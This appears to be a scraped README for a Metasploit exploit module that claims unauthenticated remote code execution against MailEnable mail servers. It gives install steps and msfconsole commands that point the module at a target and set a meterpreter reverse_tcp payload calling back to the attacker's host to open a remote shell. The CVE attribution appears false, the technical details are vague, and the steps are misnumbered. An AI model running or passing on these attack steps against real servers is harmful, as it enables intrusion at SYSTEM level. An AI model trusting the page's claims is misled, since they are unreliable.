Metasploit module for MailEnable CVE-2022-36934 authentication bypass RCE# MailEnable CVE-2022-36934 Exploit Module


Metasploit module for MailEnable's authentication bypass vulnerability (CVE-2022-36934), leading to remote code execution.
## 📌 Features
- Exploits MailEnable's improper input sanitization in SMTP/POP3
- Supports both x86 and x64 Windows targets
- No user interaction required (auto-triggers via crafted email)
- Works against MailEnable versions < 10.40
## 🚀 Installation
1. Copy to Metasploit modules directory:
```bash
cp modules/exploits/windows/smtp/mailenable_authbypass_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/smtp/
2. Reload modules in msfconsole:
reload_all
4. Usage:
use exploit/windows/smtp/mailenable_authbypass_rce
set RHOSTS <target_ip>
set LHOST <your_ip>
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
🎯 Tested Against:
MailEnable Professional 10.25 Windows Server 2019
MailEnable Enterprise 10.30 Windows Server 2016
📝 Technical Details:
Vulnerability: Authentication bypass via SQLi-like syntax in SMTP/POP3
Attack Vector: Network (ports 25/110)
Privileges: Runs as MailEnable service account (often SYSTEM)
⚠️ Legal Disclaimer:
This tool is for authorized testing only. Never use against systems you don't own or have explicit permission to test.
Log in to view the POC file snapshot cached by Shenlong Bot
Log in to view